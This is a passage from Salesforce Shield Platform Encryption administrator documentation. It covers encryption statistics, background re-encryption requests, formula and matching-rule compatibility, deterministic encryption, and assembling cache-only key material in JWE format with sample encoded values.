encrypt files and attachments that were already in Salesforce. To encrypt existing files, contact
Salesforce.
To check whether a file or attachment is encrypted, look for the encryption indicator on the detail
page of the file or attachment. You can also query the isEncrypted field on the ContentVersion
object (for files) or on the Attachment object (for attachments).

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To encrypt files:
• Customize Application

Here’s What It Looks Like When a File Is Encrypted.

Get Statistics About Your Encryption Coverage
The Encryption Statistics page provides an overview of all your encrypted data. This information helps you to stay on top of your key
rotation and management tasks. You can also use encryption statistics to identify which objects and fields you may want to update after
you rotate your key material.

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Available as an add-on subscription in: Enterprise, Performance, and Unlimited Editions. Requires purchasing Salesforce Shield.
Available in Developer Edition at no charge for orgs created in Summer ’15 and later.
Available in both Salesforce Classic and Lightning Experience.

IN THIS SECTION:
Gather Encryption Statistics
The Encryption Statistics page shows you how much of your data is encrypted by Shield Platform Encryption, and how much of that
data is encrypted by an active tenant secret. Use this information to inform your key rotation actions and timelines. You can also use
the Encryption Statistics page to collect information about the fields and objects you want to synchronize with the background
encryption service.
Interpret and Use Encryption Statistics
The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information on this page to help make
informed decisions about managing your encrypted data.

Gather Encryption Statistics
The Encryption Statistics page shows you how much of your data is encrypted by Shield Platform
Encryption, and how much of that data is encrypted by an active tenant secret. Use this information
to inform your key rotation actions and timelines. You can also use the Encryption Statistics page
to collect information about the fields and objects you want to synchronize with the background
encryption service.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Statistics.
2. Select an object type or custom object from the left pane. If you see a “--” in the Data Encrypted
or Uses Active Key columns, you haven’t gathered statistics for that object yet.

USER PERMISSIONS
To view Setup
• View Setup and
Configuration

3. Click Gather Statistics.
4. Refresh the page.
The statistics show all available information about data for each object.
Note:
• The gathering process time varies depending on how much data you have in your object. You’re notified by email when the
gathering process is finished. You can gather statistics once every 24 hours.

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• Feed Item doesn't display statistics because it's derived from Feed Post. Gathering statistics for Feed Post is sufficient to confirm
the encryption status of both Feed Post and Feed Item.

Interpret and Use Encryption Statistics
The Encryption Statistics page offers a snapshot of your encrypted data. You can use the information on this page to help make informed
decisions about managing your encrypted data.
Available as an add-on subscription in: Enterprise, Performance, and Unlimited Editions. Requires purchasing Salesforce Shield.
Available in Developer Edition at no charge for orgs created in Summer ’15 and later.
Available in both Salesforce Classic and Lightning Experience.

The page offers two views of your encrypted data: a summary view and a detail view.
Encryption Summary View
The summary shows all your objects and statistics about the data in those objects.

• Object—Lists your standard and custom objects. Data about standard objects are aggregated for all standard objects of a given
type. Data about custom objects are listed for each custom object.
• Data Encrypted—The total percentage of data in an object that’s encrypted. In the example above, 22% of all data in Account
objects in encrypted. The Case object shows 0%, meaning none of the data in any Case is encrypted.
• Uses Active Key—The percentage of your encrypted data in that object or object type that is encrypted with the active tenant
secret.
When the numbers in both Data Encrypted and Uses Active Key columns are the same, all your encrypted data uses your active
tenant secret. A double dash (--) means that statistics haven’t been gathered for that object or object type yet.
Encryption Detail View
When you select an object, you see detailed statistics about the data stored in that object.
• Field—All encryptable standard and custom fields in that object that contain data.
Note: Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision
objects. The Encryption Statistics page lists these objects and all fields that hold encrypted Chatter data in the database.
Some fields listed on the Encryption Statistics page aren’t visible in the UI by the same name, but they store all encrypted
data that’s visible in the UI. See Which Standard Fields and Data Elements Can I Encrypt? on page 201 in Salesforce Help
for a list of the encrypted Chatter fields.

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• API Name—The API name for fields that contain data.
• Encrypted Records—The number of encrypted values stored in a field type across all objects of given type. For example, you
select the Account object and see “9” in the Encrypted Records column next to Account Name. That means there are nine
encrypted records across all Account Name fields.
• Unencrypted Records—The number of plaintext values stored in a field type.
• Mixed Tenant Secret Status—Indicates whether a mixture of active and archived tenant secrets apply to encrypted data in a
field type.
• Mixed Schemes— Indicates whether a mixture of deterministic and probabilistic encryption schemes apply to encrypted data
in a field type.
Note: The following applies to both encrypted and unencrypted records:
• The records count for a field doesn’t include NULL or BLANK values. A field with NULL or BLANK values may show a different
(smaller) records count than the actual number of records.
• The records count for compound fields such as Contact.Name or Contact.Address may show a different (larger) records
count than the actual number of records. The count includes the two or more fields that are counted for every record.
Usage Best Practices
Use these statistics to make informed decisions about your key management tasks.
• Update encryption policies—The encryption statistics detail view shows you which fields in an object contain encrypted data.
Use this information to periodically evaluate whether your encryption policies match your organization’s encryption strategy.
• Rotate keys—You may want to encrypt all your data with your active tenant secret. Review the encryption summary pane on
the left side of the page. If the percentage in the Uses Active Key column is lower than the percentage in the Data Encrypted
column, some of your data uses an archived tenant secret. To synchronize your data, Contact Salesforce Customer Support.
• Synchronize data—Key rotation is an important part of any encryption strategy. When you rotate your key material, you may
want to apply the active key material to existing data. Review the Uses Active Key and Mixed Tenant Secret Status columns to
identify any fields that include data encrypted with an archived key. Make a note of these objects and fields, then contact
Salesforce Customer Support to request the background encryption job. Salesforce Customer Support can focus just on those
objects and fields you need to synchronize, keeping the background encryption job as short as possible.

Synchronize Your Data Encryption with the Background Encryption Service
Periodically, you change your encryption policy. Or you rotate your keys. To get the most protection out of your encryption strategy, it’s
important to synchronize new and existing encrypted data under your most recent encryption policy and keys.
When change happens, Salesforce is here to help you synchronize your data. We can encrypt existing data in the background to ensure
data alignment with the latest encryption policy and tenant secret.

When We Do and Don’t Automatically Encrypt Your Data
• When you turn on encryption for specific fields or other data, newly created and edited data are automatically encrypted with the
most recent key.
• Data that’s already in your org doesn't automatically get encrypted. Our background encryption service takes care of that on request.
• When you change your tenant secret as part of your key rotation strategy, data that's already encrypted remains encrypted with the
old tenant secret. Our background encryption service can update it on request. And don't worry, you always have access to your
data as long as you don't destroy the old, archived keys.
• If you turn off encryption, data that’s already there is automatically decrypted based on the relevant key. Any functionality impacted
by having decrypted data is restored.

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• If Salesforce support re-encrypts your data with a new key, any data that was encrypted with the destroyed key is skipped. To access
data encrypted with a destroyed key, import a backup of the destroyed key.
Note: Synchronizing your data encryption does not affect the record timestamp. It doesn't execute triggers, validation rules,
workflow rules, or any other automated service.

How to Request Background Encryption Service
Allow lead time
Contact Salesforce support 2–3 business days before you need the background encryption completed. The time to complete the
process varies based on the volume of data. It could take several days. Salesforce Customer Support can run the background encryption
service Monday through Friday between 6 AM and 5 PM Pacific Time.
Specify the objects and fields
Provide the list of objects and field names you want encrypted or re-encrypted.
Verify the list
Verify that this list matches the set of standard fields selected on the Encrypt Standard Fields page, and the custom fields you selected
for encryption on the Field Definition page.
Tip: Also check that your field values aren’t too long for encryption.
Include files and attachments?
Encryption for files and attachments is all or nothing. You don't have to specify which ones.
Include history and feed data?
Specify whether you want the corresponding field history and feed data encrypted.
Choose a time
Select your preferred off-peak maintenance window. We try to accommodate your needs.
Tip: If you’re not sure which data is already encrypted, visit the Encryption Statistics page, which keeps a record of all fields that
you have encrypted.

What If You Destroyed Your Key?
If your encryption key has been destroyed, your data can’t be automatically decrypted. You have some options for handling this data.
• Reimport the destroyed key from a backup, then ask Salesforce Customer Support to synchronize your data with your encryption
policy.
• Delete all the data that was encrypted with the destroyed key, then ask Salesforce Customer Support to synchronize your data.
• Ask Salesforce Customer Support to mass overwrite the data that was encrypted with the destroyed key with "?????".
Note: When you disable encryption for files that were encrypted with a key that’s been destroyed, the files don’t automatically
go away. You can ask Salesforce support to delete the files.

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Fix Compatibility Problems
When you select fields or files to encrypt, Salesforce automatically checks for potential side effects
and warns you if any existing settings may pose a risk to data access or your normal use of Salesforce.
You have some options for how to clear up these problems.
If your results include error messages, you're probably running into one or more of these limitations:
Portals
You can’t encrypt standard fields, because a customer portal or a partner portal is enabled in
your organization. To deactivate a customer portal, go to the Customer Portal Settings page in
Setup. To deactivate a partner portal, go to the Partners page in Setup.
Note: Communities are not related to this issue. They are fully compatible with encryption.
Criteria-Based Sharing Rules
You’ve selected a field that is used in a filter in a criteria-based sharing rule.
SOQL/SOSL queries
You’ve selected a field that’s used in an aggregate function in a SOQL query, or in a WHERE,
GROUP BY, or ORDER BY clause.

Formula fields
You’ve selected a field that’s referenced by a custom formula field in an unsupported way. Formulas can use BLANKVALUE, CASE,
HYPERLINK, IF, IMAGE, ISBLANK, ISNULL, and NULLVALUE, as well as concatenation (&).
Flows and Processes
You’ve selected a field that’s used in one of these contexts.
• To filter data in a flow
• To sort data in a flow
• To filter data in a process
• To filter data in a dynamic record choice
• To sort data in a dynamic record choice
Note: By default, your results only list the first 250 errors per element. You can increase the number of errors listed in your
results to 5000. Contact Salesforce for help.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

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Supported Operators, Functions, and Actions
Supported operators and functions:
• & and + (concatenate)
• BLANKVALUE
• CASE
• HYPERLINK

• IF
• IMAGE
• ISBLANK
• ISNULL
• NULLVALUE
Also supported:
• Spanning
• Quick actions
Formulas can return data only in text, date, or date/time formats.

& And + (Concatenate)
This works:
Why it works:
This doesn’t work:
Why it doesn’t work:

(encryptedField__c & encryptedField__c)

This works because & is supported.
LOWER(encryptedField__c & encryptedField__c)

LOWER isn’t a supported function, and the input is an encrypted value.

Case
CASE returns encrypted field values, but doesn’t compare them.

This works:

CASE(custom_field__c, "1", cf2__c, cf3__c))

where either or both cf2__c and cf3__c are encrypted
Why it works:

custom_field__c is compared to “1”. If it is true, the formula returns cf2__c because it’s

not comparing two encrypted values.

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This doesn’t work:

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CASE("1", cf1__c, cf2__c, cf3__c)

where cf1__c is encrypted
Why it doesn’t work:

You can’t compare encrypted values.

ISBLANK and ISNULL
This works:
Why it works:

OR(ISBLANK(encryptedField__c), ISNULL(encryptedField__c))

Both ISBLANK and ISNULL are supported. OR works in this example because ISBLANK and
ISNULL return a Boolean value, not an encrypted value.

Spanning
This works:

How and why you use it:

(LookupObject1__r.City & LookupObject1__r.Street) &
(LookupObject2__r.City & LookupObject2__r.Street) &
(LookupObject3__r.City & LookupObject3__r.Street) &
(LookupObject4__r.City & LookupObject4__r.Street)

Spanning retrieves encrypted data from multiple entities. For example, let’s say you work in the
customer service department for Universal Containers. A customer has filed a case about a distribution
problem, and you want to see the scope of the issue. You want all the shipping addresses related
to this particular case. This example returns all the customers’ shipping addresses as a single string
in your case layout.

Validation
The encryption validation service checks your org to make sure that it’s compatible with encrypted formula field types.
When you encrypt a given field, the validation service:
• Retrieves all formula fields that reference the field
• Verifies that the formula fields are compatible with encryption
• Verifies that the formula fields aren’t used elsewhere for filtering or sorting

Limits
Up to 200 formula fields can reference a given encrypted custom field. A field that is referenced by more than 200 formula fields can’t
be encrypted. If you need to reference an encrypted custom field from more than 200 formula fields, contact Salesforce.
When you specify multiple fields to encrypt at one time, the 200-field limit is applied to the whole batch. If you know that you are
encrypting fields that have multiple formula fields pointing to them, encrypt those fields one at a time.

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Apply Encryption to Fields Used in Matching Rules
Matching rules used in duplicate management help you maintain clean and accurate data. Apply
deterministic encryption to the fields to make them compatible with standard and custom matching
rules.
Ask an administrator to enable Deterministic Encryption from the Platform Encryption Advanced
Settings page. If you don’t have a Data in Salesforce (Deterministic) type tenant secret, create one
from the Platform Encryption Key Management page.
Important: Matching rules used in duplicate management don’t support probabilistically
encrypted data.
Follow these steps to add encrypted fields to existing custom matching rules.
1. From Setup, in the Quick Find box, enter Matching Rules, and then select Matching
Rules.
2. Deactivate the matching rule that reference fields you want to encrypt. If your matching rule
is associated with an active duplicate rule, first deactivate the duplicate rule from the Duplicate
Rules page. Then return to the Matching Rules page and deactivate the matching rule.
3. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.
4. Click Encrypt Fields.
5. Click Edit.
6. Select the fields you want to encrypt, and select Deterministic from the Encryption Scheme
list.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To enable encryption key
(tenant secret) management:
• Manage Profiles and
Permission Sets

7. Click Save.
Tip: Standard matching rules are automatically deactivated when encryption is added to a field referenced by that rule. To
encrypt fields referenced in standard matching rules, follow steps 3–8.
8. After you get the email verifying encryption’s been enabled on your fields, reactivate your matching rule and associated duplicate
management rule.
Matching rules used in duplicate management now return exact and fuzzy matches on encrypted data.
Example: Let’s say you recently encrypted Billing Address on your Contacts, and you want to add this field to a custom matching
rule. First, deactivate the rule or rules you want to add this field to. Make sure that Billing Address is encrypted with the deterministic
encryption scheme. Then add Billing Address to your custom matching rule, just like you would add any other field. Finally, reactivate
your rule.
When you rotate your key material, you must update custom matching rules that reference encrypted fields. After you rotate your key
material, deactivate and then reactivate the affected matching rules. Then contact Salesforce to request the background encryption
process. When the background encryption process finishes, your matching rules can access all data encrypted with your active key
material.

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Important: To ensure accurate matching results, customers who used the beta version of this feature must deactivate any
matching rules that reference encrypted fields and then reactivate them. If your custom matching rule fails on reactivation, contact
Salesforce for help reactivating your match index.

Encrypt Data in Chatter
Enabling Shield Platform Encryption for Chatter adds an extra layer of security to information that
users share in Chatter. You can encrypt data at rest in feed posts and comments, questions and
answers, link names and URLs, poll questions and choices, and content from your custom rich
publisher apps.
We recommend that you test Encryption for Chatter in a dedicated Sandbox environment before
enabling it in production.
Unlike encryption for custom and standard fields, enabling encryption for Chatter encrypts all
eligible Chatter fields.
1. Make sure that your org has an active encryption key. If you’re not sure, check with your
administrator.
2. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.
3. Click Encrypt Chatter.
The automatic Shield Platform Encryption validation service checks for settings that could block
encryption. If the service finds potential problems, it sends you an email with suggestions for fixing
the problems.
After you activate encryption for Chatter, new data that you enter into Chatter gets encrypted. To
encrypt historic Chatter data, contact Salesforce Customer Support to request the background
encryption service.
When you edit or update an encrypted Chatter field, the field’s revision history is also encrypted.
For example, if you update a post, the old version of the post remains encrypted.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To encrypt fields:
• Customize Application

If you enabled Encryption for Chatter in Spring ’17 and you want to access the most up-to-date
features, deselect Encrypt Chatter and then reselect Encrypt Chatter.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

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Encrypt Search Index Files
Sometimes you need to search for personally identifiable information (PII) or data that’s encrypted
in the database. When you search your org, the results are stored in search index files. You can
encrypt these search index files, adding another layer of security to your data.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.
2. Select Search Index from the picklist.
3. Select Generate Tenant Secret.
This new tenant secret encrypts only the data stored in search index files.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.
5. Select Encrypt Search Indexes.
Your search indexes are now encrypted with the active Search Index tenant secret.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To enable encryption key
(tenant secret) management:
• Manage Profiles and
Permission Sets

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Encrypt Einstein Analytics Data
To get started with Einstein Analytics Encryption, generate a tenant secret with Shield Platform
Encryption. Once you generate an Analytics tenant secret, Einstein Analytics Encryption uses the
Shield Platform Encryption key management architecture to encrypt your Einstein Analytics data.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.
2. Select Analytics from the picklist.
3. Generate a tenant secret or upload key material.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Encryption Policy.

EDITIONS
Available as an add-on
subscription in: Enterprise,
Performance, and
Unlimited Editions. Requires
purchasing Einstein
Analytics Platform and either
Salesforce Shield or the
Platform Encryption add-on.
Available in both Salesforce
Classic and Lightning
Experience.

5. Select Encrypt Einstein Analytics.
6. Click Save.
New datasets in Einstein Analytics are now encrypted.
Note: Data that was in Einstein Analytics before encryption was enabled is not encrypted.
If pre-existing data is imported from Salesforce objects through the dataflow, the data
becomes encrypted on the next dataflow run. Other pre-existing data (such as CSV data)
must be reimported to become encrypted. Although pre-existing data is not encrypted,
it is still accessible and fully functional in its unencrypted state when encryption is enabled.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To manage key material:
• Manage Encryption Keys

Filter Encrypted Data with Deterministic Encryption
You can filter data that you have protected with Salesforce Shield Platform Encryption using deterministic encryption. Your users can
filter records in reports and list views, even when the underlying fields are encrypted. Deterministic encryption supports WHERE clauses
in SOQL queries and is compatible with unique and external ID fields. It also supports single-column indexes and single-column
case-sensitive unique indexes. Shield Platform Encryption uses the Advanced Encryption Standard (AES) with 256-bit keys with CBC
mode, and a static initialization vector (IV).
IN THIS SECTION:
How Deterministic Encryption Supports Filtering
By default, Salesforce encrypts data using a probabilistic encryption scheme. Each bit of data is turned into a fully random ciphertext
string every time it’s encrypted. Encryption doesn’t generally impact users who are authorized to view the data. The exceptions are
when logic is executed in the database or when encrypted values are compared to a string or to each other. In these cases, because
the data has been turned into random, patternless strings, filtering isn’t possible. For example, you might run a SOQL query in custom
Apex code against the Contact object, where LastName = 'Smith'. If the LastName field is encrypted with probabilistic encryption,
you can’t run the query. Deterministic encryption addresses this problem.
Encrypt Data with the Deterministic Encryption Scheme
Enable the deterministic encryption scheme, then apply deterministic encryption to fields.

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How Deterministic Encryption Supports Filtering
By default, Salesforce encrypts data using a probabilistic encryption scheme. Each bit of data is turned into a fully random ciphertext
string every time it’s encrypted. Encryption doesn’t generally impact users who are authorized to view the data. The exceptions are when
logic is executed in the database or when encrypted values are compared to a string or to each other. In these cases, because the data
has been turned into random, patternless strings, filtering isn’t possible. For example, you might run a SOQL query in custom Apex code
against the Contact object, where LastName = 'Smith'. If the LastName field is encrypted with probabilistic encryption, you can’t run the
query. Deterministic encryption addresses this problem.
To be able to use filters when data is encrypted, we have to allow some patterns in our data. Deterministic encryption uses a static
initialization vector (IV) so that encrypted data can be matched to a particular field value. The system can’t read a piece of data that’s
encrypted, but it does know how to retrieve the ciphertext that stands for that piece of data thanks to the static IV. The IV is unique for
a given field in a given org and can only be decrypted with your org-specific encryption key.
We evaluate the relative strengths and weaknesses of cryptographic approaches based on the types of attacks that can be launched
against a particular algorithm. We also consider the length of time that it could take for the attack to succeed. For example, it is commonly
said that a brute-force attack against an AES 256-bit key would take a billion billion years given current computing capabilities. Nevertheless,
it is common practice to rotate keys regularly.
Certain kinds of attacks become a bit less far-fetched when you get away from purely random ciphertext. For example, an attacker could
conceivably analyze deterministically encrypted ciphertext and determine that the cleartext string Alice always resolves to the
ciphertext YjNkY2JlNjU5M2JkNjk4MGJiNWE2NGQ5NzI5MzU1OTcNCg==. Given enough time to eavesdrop, an attacker
could defeat encryption by building a dictionary of cleartext values to ciphertext values.
The Salesforce Shield approach is to expose just enough determinism to enable bona fide users to filter on encrypted data while limiting
it enough to ensure that a given plaintext value does not universally result in the same ciphertext value across all fields, objects, or orgs.
Even if an attacker successfully matched cleartext to encrypted values for one field, the attacker would have to do it all over again for
any other field, and again for the same field in another object.
In this way, deterministic encryption only decreases encryption strength as minimally necessary to allow filtering.

Encrypt Data with the Deterministic Encryption Scheme
Enable the deterministic encryption scheme, then apply deterministic encryption to fields.
Important: To filter and execute queries on fields with unique attributes, synchronize new
and existing encrypted data by the active Data in Salesforce (Deterministic) key material. See
Synchronize Your Data Encryption with the Background Encryption Service for tips on timing
and placing your background encryption service request.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Key
Management.
2. From the Choose Tenant Secret Type menu, select Data in Salesforce.
3. Generate or upload a tenant secret.
4. From Setup, in the Quick Find box, enter Platform Encryption, and then select
Advanced Settings.

USER PERMISSIONS
Generate, destroy, export,
import, and upload tenant
secrets and
customer-supplied key
material:
• Manage Encryption Keys
Enable features on the
Advanced Settings page
• Customize Application
AND
Modify All Data

5. Enable Deterministic Encryption.
6. From Setup, select Key Management.
7. Select the Data in Salesforce (Deterministic) secret type.
8. Generate a tenant secret.
You can mix and match probabilistic and deterministic encryption, encrypting some fields one way and some fields the other.

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9. Enable encryption for each field, specifying the deterministic encryption scheme. How you do that depends on whether it’s a standard
field or a custom field.
• For standard fields, from Setup, select Encryption Policy, and then select Encrypt Fields. For each field you want to encrypt,
select the field name, and then choose Deterministic from the Encryption Scheme list.

• For custom fields, open the Object Manager and edit the field you want to encrypt. Select Encrypt the contents of this field,
and select Use case sensitive deterministic encryption.

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10. To encrypt your existing data with the active Data in Salesforce (Deterministic) key material, contact Salesforce Support. If you change
the encryption scheme for a field from Deterministic to Probabilistic, contact Salesforce to re-encrypt data in that field with your
active Data in Salesforce key material.

Cache-Only Key Service (Beta)
Shield Platform Encryption’s Cache-Only Key Service addresses a unique need for non-persisted
key material. You can store your key material outside of Salesforce and have the Cache-Only Key
Service fetch your key on demand from a key service that you control. Your key service transmits
your key over a secure channel that you configure, and the Cache-Only Key Service uses your key
for immediate encrypt and decrypt operations. Salesforce doesn’t retain or persist your cache-only
keys in any system of record or backups. You can revoke key material at any time.
Note: As a beta feature, Shield Platform Encryption Cache-Only Key Service is a preview and
isn’t part of the “Services” under your master subscription agreement with Salesforce. Use
this feature at your sole discretion, and make your purchase decisions only from generally
available products and features. Salesforce doesn’t guarantee general availability of this feature
within any particular time frame or at all, and we can discontinue it at any time. This feature
is for evaluation purposes only. It’s offered as is, and Salesforce has no liability for any harm
or damage arising out of or in connection with it. All restrictions, Salesforce reservation of
rights, obligations concerning the Services, and terms for related Non-Salesforce Applications
and Content apply equally to your use of this feature. You can provide feedback and
suggestions for Shield Platform Encryption Cache-Only Key Service in the IdeaExchange and
through the Trailblazer Community. For information about enabling this feature in your
organization, contact Salesforce.

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EDITIONS
Available in: Enterprise,
Performance, Unlimited,
and Developer editions.
Requires purchasing
Salesforce Shield or Platform
Encryption.
Available in both Salesforce
Classic and Lightning
Experience.

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IN THIS SECTION:
How Cache-Only Keys Works
The Cache-Only Key Service lets you use a variety of key services to generate, secure, and store your key material. You can use an
on-premises key service, host your own cloud-based key service, or use a cloud-based key brokering vendor.
Prerequisites and Terminology for Cache-Only Keys
The Cache-Only Key Service offers you more control over your key material. When you use cache-only keys, you control more of the
key management tasks. Before you start using the service, understand how to create and host your key material in a way that’s
compatible with Salesforce’s BYOK service.
Create and Assemble Your Key Material
The Cache-Only Key Service is compatible with 256-bit AES keys returned in a JSON response, and then wrapped using JSON Web
Encryption (JWE).
Configure Your Cache-Only Key Callout Connection
Use a named credential to specify the endpoint for your callout, and identify the key that you want to use to encrypt your data.
Check Your Cache-Only Key Connection
Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a functional callout connection. Use
the Callout Check page to monitor your connection and quickly respond to key service interruptions that could prevent the service
from fetching your keys.
Destroy a Cache-Only Key
When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the callout connection to the key service.
Reactivate a Cache-Only Key
If you still have your named credential associated with a key that was destroyed in Salesforce, you can reactivate a destroyed
cache-only key from Setup. Cache-only keys can’t be reactivated programmatically. Reactivating a destroyed key makes it the active
key. Before you reactivate a destroyed key, make sure that the corresponding key service connection is recovered.
Considerations for Cache-Only Keys
These considerations apply to all data that you encrypt using the Cache-Only Key Service.
Troubleshoot Cache-Only Keys
One or more of these frequently asked questions may help you troubleshoot any problems that arise.

How Cache-Only Keys Works
The Cache-Only Key Service lets you use a variety of key services to generate, secure, and store your key material. You can use an
on-premises key service, host your own cloud-based key service, or use a cloud-based key brokering vendor.
Figures 1 and 2 show how Salesforce fetches keys on-demand from your specified key service. Whether you store your keys with an
on-premises key service or a cloud-based key service, the flow is the same. When users access encrypted data, or add sensitive data to
encrypted data elements, the Cache-Only Key Service makes a callout to your key service. Your key service passes key material, wrapped
securely in JSON Web Encryption format, through a secure, authenticated channel that you set up.

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Figure 1: On-premises Key Service

Figure 2: Cloud-Based Key Service
As a core offering of the Shield KMS, enhanced cache controls ensure that key material is stored securely while in the cache. The Shield
KMS encrypts the fetched key material with an org-specific AES 256-bit cache encryption key and stores the encrypted key material in
the cache for encrypt and decrypt operations. HSM-protected keys secure the cache encryption key in the cache, and the cache encryption
key is rotated along with key lifecycle events such as key destruction and rotation.
The enhanced cache controls provide a single source of truth for key material used to encrypt and decrypt your data. Subsequent
encryption and decryption requests go through the encrypted key cache until the cache-only key is revoked or rotated, or the cache is
flushed. Once the cache is flushed, the Cache-Only Key Service fetches key material from your specified key service. The cache is regularly
flushed every 72 hours, and certain Salesforce operations flush the cache on average every 24 hours. Destroying a data encryption key
invalidates the corresponding data encryption key that’s stored in the cache.
Because cache-only keys bypass the key derivation process, they’re used to directly encrypt and decrypt your data.

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Prerequisites and Terminology for Cache-Only Keys
The Cache-Only Key Service offers you more control over your key material. When you use cache-only keys, you control more of the key
management tasks. Before you start using the service, understand how to create and host your key material in a way that’s compatible
with Salesforce’s BYOK service.

Prerequisites
1. Generate and Host Key Material. The cache-only key exchange protocol and format requires that keys are wrapped in an opinionated
JSON Web Encryption (JWE). This format uses RSAES-OAEP for key encryption and AES GCM for content encryption.
Use a secure, trusted service to generate, store, and back up your key material.
2. Use and maintain a reliable high-availability key service. Choose a high-availability key service with an acceptable service level
agreement (SLA), predefined maintenance procedures, and processes to mitigate any potential impact to business continuity.
When the connection between Salesforce and your key service is broken, the Cache-Only Key Service can encrypt and decrypt data
as long as your key material is in the cache. However, keys don’t stay in the cache for long. The cache is regularly flushed every 72
hours, but some Salesforce operations flush the cache about every 24 hours.
If your key material isn’t in the cache, and the connection to your key service is broken, users can’t encrypt or decrypt records. Make
sure that you use a key service that Salesforce can connect to at any time. This is especially important during busy times like the end
of year or end of quarter.
3. Maintain a secure callout endpoint. The cache-only key exchange protocol requires that keys are wrapped in an opinionated JSON
format. Host your wrapped key inside the key response at a location Salesforce can request.
To ensure easy IP whitelisting, the Cache-Only Key Service uses named credentials to establish a secure, authenticated, whitelisted
connection to external sites. You can configure your named credentials to use popular authentication formats, such as Mutual TLS
and OAuth. You can change these authentication protocols at any time.
4. Actively monitor your key service logs for errors. While Salesforce is here to help you with the Shield Platform Encryption service,
you’re responsible for maintaining the high-availability key service that you use to host your key material. You can use the
RemoteKeyCalloutEvent object to review or track cache-only key events.
Warning: Because you’re in control of your keys, you’re responsible for securing and backing up your key material. Salesforce
can’t retrieve lost key material stored outside of our encrypted key cache.
5. Format and Assemble Your Key Material. You must format key material hosted outside of Salesforce in a way that’s compatible with
the Cache-Only Key Service. Make sure that you can generate the following components in the required formats.
Table 1: Cache-Only Key Components
Component

Format

Data encryption key (DEK)

AES 256-bit

Content encryption key (CEK)

AES 256-bit

BYOK-compatible certificate

A 4096-bit RSA certificate who’s private key is encrypted with a
derived, org-specific tenant secret key

JSON Web Encryption content and header

See a sample in Github

Algorithm for encrypting the CEK

RSA-OAEP

Algorithm for encrypting the DEK

A256GCM

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Component

Format

Unique key identifier

Allows numbers, uppercase and lowercase letters, periods,
hyphens, and underscores

Initialization vector

Encoded in base64url

Read more about assembling your key material in the Generate and Assemble Cache-Compatible Keys section. You can also look at our
Cache-Only Key Wrapper in Github for examples and sample utility.

Terminology
Here are some terms that are specific to the Cache-Only Key Service.
Content Encryption Key
For each key request, your key service endpoint generates a unique content encryption key. The content encryption key wraps the
data encryption key, which is in turn encrypted by the key encrypting key and placed in the JWE header of the key response.
JSON Web Encryption
The JSON-based structure that the Shield Platform Encryption service uses to encrypted content. JSON Web Encryption, or JWE, uses
RSAES-OAEP for key encryption and AES GCM for content encryption.
Key Identifier
The Key ID, or KID, is the unique identifier for your key. The KID is used as the suffix in the named credential and for validation of the
KID in the response. In Setup, enter this identifier in the Unique Key Identifier field.

Create and Assemble Your Key Material
The Cache-Only Key Service is compatible with 256-bit AES keys returned in a JSON response, and
then wrapped using JSON Web Encryption (JWE).

EDITIONS

Cache-only key material is wrapped in a JSON format. An example cache-only key is used throughout
this article to illustrate how key material changes as you assemble it.

Available in: Enterprise,
Performance, Unlimited,
and Developer editions.
Requires purchasing
Salesforce Shield or Platform
Encryption.

1. Generate a 256-bit AES data encryption key. You can use the cryptographically secure method
of your choice.
2. Generate a 256-bit AES content encryption key using a cryptographically secure method.
3. Generate and download your BYOK-compatible certificate.
4. Create the JWE protected header. The JWE protected header is a JSON object with 3 claims:
the algorithm used to encrypt the content encryption key, the algorithm used to encrypt the
data encryption key, and the unique ID of the cache-only key. Here’s an example header to get
us started.

Available in both Salesforce
Classic and Lightning
Experience.

{"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b"}

5. Encode the JWE protected header as BASE64URL(UTF8(JWE Protected Header)).
eyJhbGciOiJSU0EtT0FFUCIsImVuYyI6IkEyNTZHQ00iLCJraWQiOiI5ODJjMzc1Yi1mNDZiLTQ0MjMtOGMy
ZC00ZDFhNjkxNTJhMGIifQ

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6. Encrypt the content encryption key with the public key from the BYOK certificate using the RSAES-OAEP algorithm. Then encode
this encrypted content encryption key as BASE64URL(Encrypted CEK).
l92QA-R7b6Gtjo0tG4GlylJti1-Pf-519YpStYOp28YToMxgUxPmx4NR_myvfT24oBCWkh6hy_dqAL7JlVO4
49EglAB_i9GRdyVbTKnJQ1OiVKwWUQaZ9jVNxFFUYTWWZ-sVK4pUw0B3lHwWBfpMsl4jf0exP5-5amiTZ5oP
0rkW99ugLWJ_7XlyTuMIA6VTLSpL0YqChH1wQjo12TQaWG_tiTwL1SgRd3YohuMVlmCdEmR2TfwTvryLPx4K
bFK3Pv5ZSpSIyreFTh12DPpmhLEAVhCBZxR4-HMnZySSs4QorWagOaT8XPjPv46m8mUATZSD4hab8v3Mq4H3
3CmwngZCJXX-sDHuax2JUejxNC8HT5p6sa_I2gQFMlBC2Sd4yBKyjlDQKcSslCVav4buG8hkOJXY69iW_zhz
tV3DoJJ90l-EvkMoHpw1llU9lFhJMUQRvvocfghs2kzy5QC8QQt4t4Wu3p7IvzeneL5I81QjQlDJmZhbLLor
FHgcAs9_FMwnFYFrgsHP1_v3Iqy7zJJc60fCfDaxAF8Txj_LOeOMkCFl-9PwrULWyRTLMI7CdZIm7jb8v9AL
xCmDgqUi1yvEeBJhgMLezAWtxvGGkejc0BdsbWaPFXlI3Uj7C-Mw8LcmpSLKZyEnhj2x-3Vfv5hIVauC6ja1
B6Z_UcqXKOc

